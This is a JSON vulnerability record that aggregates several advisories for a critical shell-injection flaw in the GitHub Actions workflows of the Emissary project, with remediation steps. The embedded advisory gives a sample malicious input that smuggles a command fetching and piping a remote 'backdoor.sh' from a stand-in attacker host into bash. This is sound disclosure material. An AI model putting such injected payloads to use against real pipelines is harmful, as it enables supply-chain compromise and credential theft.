{"id":"CVE-2026-35580","aliases":["EUVD-2026-19728","GHSA-3g6g-gq4r-xjm9","UBUNTU-CVE-2026-35580","openSUSE-SU-2026:10540-1"],"status":"published","title":"Emissary has GitHub Actions Shell Injection via Workflow Inputs","description":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-13","score":0.00576,"percentile":0.48043,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-77"],"published":"2026-04-06T00:00:00Z","modified":"2026-10-28T02:31:12Z","exploits":[{"source":"pocgithub","id":"pvharmo2/gha-lab-ed7a1740c4","title":"pvharmo2/gha-lab-ed7a1740c4","date":"2026-09-05","url":"https://github.com/pvharmo2/gha-lab-ed7a1740c4"}],"fixes":[{"ecosystem":"Maven","package":"gov.nsa.emissary:emissary","fixed_in":["8.39.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"gov.nsa.emissary:emissary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.39.0"}]}]},{"source":"osv","ecosystem":"Maven","package":"gov.nsa.emissary:emissary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.39.0"}]}],"versions":["8.0.0","8.1.0","8.10.0","8.11.0","8.11.1","8.12.0","8.13.0","8.14.0","8.15.0","8.16.0","8.17.0","8.18.0","8.19.0","8.19.1","8.2.0","8.20.0","8.21.0","8.22.0","8.23.0","8.24.0","8.25.0","8.26.0","8.27.0","8.28.0","8.29.0","8.3.0","8.30.0","8.31.0","8.32.0","8.33.0","8.34.0","8.35.0","8.36.0","8.37.0","8.38.0","8.4.0","8.5.0","8.6.0","8.7.0","8.7.1","8.8.0","8.9.0"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"Botan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.1-1.1"}]}],"bundled":2}],"products":[{"vendor":"nationalsecurityagency","product":"emissary"},{"vendor":"nsa","product":"emissary"}],"references":[{"url":"https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3g6g-gq4r-xjm9","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/NationalSecurityAgency/emissary/pull/1286","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/NationalSecurityAgency/emissary/pull/1288","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35580","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3g6g-gq4r-xjm9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35580.json","tags":["advisory"]},{"url":"https://github.com/NationalSecurityAgency/emissary","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-35580","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-35580","tags":["report"]},{"url":"https://github.com/randombit/botan/pull/5500","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35580","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35582","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-35580","title":"Emissary has GitHub Actions Shell Injection via Workflow Inputs","description":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.","status":"published","published":"2026-04-07T15:55:56.074Z","modified":"2026-04-07T18:25:26.662Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:20:05.15083Z"}],"euvd":[{"id":"EUVD-2026-19728","description":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.","status":"published","published":"2026-04-07T15:55:56Z","modified":"2026-04-07T18:25:26Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:25:12.431163Z"}],"ghsa":[{"id":"GHSA-3g6g-gq4r-xjm9","title":"Emissary has GitHub Actions Shell Injection via Workflow Inputs","description":"## Summary\n\nThree GitHub Actions workflow files contained **10 shell injection points** where\nuser-controlled `workflow_dispatch` inputs were interpolated directly into shell\ncommands via `${{ }}` expression syntax. An attacker with repository write access\ncould inject arbitrary shell commands, leading to repository poisoning and supply\nchain compromise affecting all downstream users.\n\n## Affected Files\n\n| Workflow file                            | Injection points |\n|------------------------------------------|------------------|\n| `.github/workflows/maven-version.yml`    | 4                |\n| `.github/workflows/cherrypick.yml`       | 5                |\n| `.github/workflows/maven-release.yml`    | 1                |\n\n## Details\n\nGitHub Actions `${{ }}` expressions inside `run:` blocks are substituted **before**\nthe shell interprets the command. When a `workflow_dispatch` input is placed directly\nin a `run:` block, an attacker who can trigger the workflow can break out of the\nintended command and execute arbitrary code.\n\n### Example — `maven-version.yml` (before fix)\n\n```yaml\n- name: Set the name of the branch\n  run: echo \"PR_BRANCH=action/${{ github.event.inputs.next_version }}\" \u003e\u003e \"$GITHUB_ENV\"\n```\n\nA malicious input such as `1.0.0\"; curl attacker.com/backdoor.sh | bash; echo \"`\nwould be interpolated directly into the shell, executing arbitrary commands with\nthe job's `GITHUB_TOKEN` permissions (`contents: write`, `pull-requests: write`).\n\n### Impact\n\n- Arbitrary code execution within the CI/CD runner\n- Repository modification via the `contents: write` token (push malicious commits)\n- Supply chain poisoning — downstream users who clone or build receive compromised code\n- Credential exfiltration from the GitHub Actions environment\n\n## Remediation\n\nFixed in two PRs merged into release 8.39.0:\n\n### PR #1286 — Environment variable indirection\n\nReplaced all direct `${{ inputs.* }}` interpolation in `run:` blocks with\nenvironment variable indirection. Inputs are assigned to `env:` at the step level,\nthen referenced as shell variables inside `run:`.\n\n```yaml\n# After (safe — input is never interpreted by the shell parser)\n- name: Set the name of the branch\n  run: echo \"PR_BRANCH=action/$IN_NEXT_VERSION\" \u003e\u003e \"$GITHUB_ENV\"\n  env:\n    IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}\n```\n\n### PR #1288 — Input validation\n\nAdded strict regex validation steps that run before any input is used:\n\n- `maven-version.yml`: Validates `next_version` matches `^[a-zA-Z0-9._-]+$`\n- `maven-release.yml`: Validates `release_suffix` matches `^[a-zA-Z0-9._-]+$`\n- `cherrypick.yml`: Validates `commits` matches `^([0-9a-f]{7,40})(\\s+[0-9a-f]{7,40})*$`\n\nAll jobs now also use `shell: bash` via `defaults.run.shell` to ensure consistent\nshell behavior.\n\n## Workarounds\n\nThere is no workaround other than upgrading. Organizations that have forked\nEmissary should apply the same environment variable indirection and input\nvalidation patterns to their workflow files.\n\n## References\n\n- [PR #1286 — environment variable indirection](https://github.com/NationalSecurityAgency/emissary/pull/1286)\n- [PR #1288 — input validation](https://github.com/NationalSecurityAgency/emissary/pull/1288)\n- [GitHub Security Lab: Keeping your GitHub Actions and workflows secure](https://securitylab.github.com/resources/github-actions-untrusted-input/)\n- Original report: GHSA-wjqm-p579-x3ww","status":"published","published":"2026-04-08T00:12:42Z","modified":"2026-04-08T00:12:43Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:39:51.193071Z"}],"nvd":[{"id":"CVE-2026-35580","description":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.","status":"published","published":"2026-04-07T17:16:33.307Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:12:13.535987Z"}],"osv":[{"id":"CVE-2026-35580","title":"Emissary has GitHub Actions Shell Injection via Workflow Inputs","description":"Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.","status":"published","published":"2026-04-07T15:55:56.074Z","modified":"2026-10-28T02:31:12.323653221Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:45:02.673625Z"},{"id":"GHSA-3g6g-gq4r-xjm9","title":"Emissary has GitHub Actions Shell Injection via Workflow Inputs","description":"## Summary\n\nThree GitHub Actions workflow files contained **10 shell injection points** where\nuser-controlled `workflow_dispatch` inputs were interpolated directly into shell\ncommands via `${{ }}` expression syntax. An attacker with repository write access\ncould inject arbitrary shell commands, leading to repository poisoning and supply\nchain compromise affecting all downstream users.\n\n## Affected Files\n\n| Workflow file                            | Injection points |\n|------------------------------------------|------------------|\n| `.github/workflows/maven-version.yml`    | 4                |\n| `.github/workflows/cherrypick.yml`       | 5                |\n| `.github/workflows/maven-release.yml`    | 1                |\n\n## Details\n\nGitHub Actions `${{ }}` expressions inside `run:` blocks are substituted **before**\nthe shell interprets the command. When a `workflow_dispatch` input is placed directly\nin a `run:` block, an attacker who can trigger the workflow can break out of the\nintended command and execute arbitrary code.\n\n### Example — `maven-version.yml` (before fix)\n\n```yaml\n- name: Set the name of the branch\n  run: echo \"PR_BRANCH=action/${{ github.event.inputs.next_version }}\" \u003e\u003e \"$GITHUB_ENV\"\n```\n\nA malicious input such as `1.0.0\"; curl attacker.com/backdoor.sh | bash; echo \"`\nwould be interpolated directly into the shell, executing arbitrary commands with\nthe job's `GITHUB_TOKEN` permissions (`contents: write`, `pull-requests: write`).\n\n### Impact\n\n- Arbitrary code execution within the CI/CD runner\n- Repository modification via the `contents: write` token (push malicious commits)\n- Supply chain poisoning — downstream users who clone or build receive compromised code\n- Credential exfiltration from the GitHub Actions environment\n\n## Remediation\n\nFixed in two PRs merged into release 8.39.0:\n\n### PR #1286 — Environment variable indirection\n\nReplaced all direct `${{ inputs.* }}` interpolation in `run:` blocks with\nenvironment variable indirection. Inputs are assigned to `env:` at the step level,\nthen referenced as shell variables inside `run:`.\n\n```yaml\n# After (safe — input is never interpreted by the shell parser)\n- name: Set the name of the branch\n  run: echo \"PR_BRANCH=action/$IN_NEXT_VERSION\" \u003e\u003e \"$GITHUB_ENV\"\n  env:\n    IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}\n```\n\n### PR #1288 — Input validation\n\nAdded strict regex validation steps that run before any input is used:\n\n- `maven-version.yml`: Validates `next_version` matches `^[a-zA-Z0-9._-]+$`\n- `maven-release.yml`: Validates `release_suffix` matches `^[a-zA-Z0-9._-]+$`\n- `cherrypick.yml`: Validates `commits` matches `^([0-9a-f]{7,40})(\\s+[0-9a-f]{7,40})*$`\n\nAll jobs now also use `shell: bash` via `defaults.run.shell` to ensure consistent\nshell behavior.\n\n## Workarounds\n\nThere is no workaround other than upgrading. Organizations that have forked\nEmissary should apply the same environment variable indirection and input\nvalidation patterns to their workflow files.\n\n## References\n\n- [PR #1286 — environment variable indirection](https://github.com/NationalSecurityAgency/emissary/pull/1286)\n- [PR #1288 — input validation](https://github.com/NationalSecurityAgency/emissary/pull/1288)\n- [GitHub Security Lab: Keeping your GitHub Actions and workflows secure](https://securitylab.github.com/resources/github-actions-untrusted-input/)\n- Original report: GHSA-wjqm-p579-x3ww","status":"published","published":"2026-04-08T00:12:42Z","modified":"2026-04-08T00:27:16.661625Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:46:35.747385Z"},{"id":"openSUSE-SU-2026:10540-1","title":"Botan-3.11.1-1.1 on GA media","description":"These are all security issues fixed in the Botan-3.11.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-04-14T00:00:00Z","modified":"2026-04-15T08:00:07.035548Z","updated_at":"2026-11-02T16:58:38.415593Z"},{"id":"UBUNTU-CVE-2026-35580","description":"[Unknown description]","status":"withdrawn","published":"2026-04-06T00:00:00Z","modified":"2026-10-21T23:02:22.36380555Z","updated_at":"2026-11-02T16:56:16.686388Z"}]}}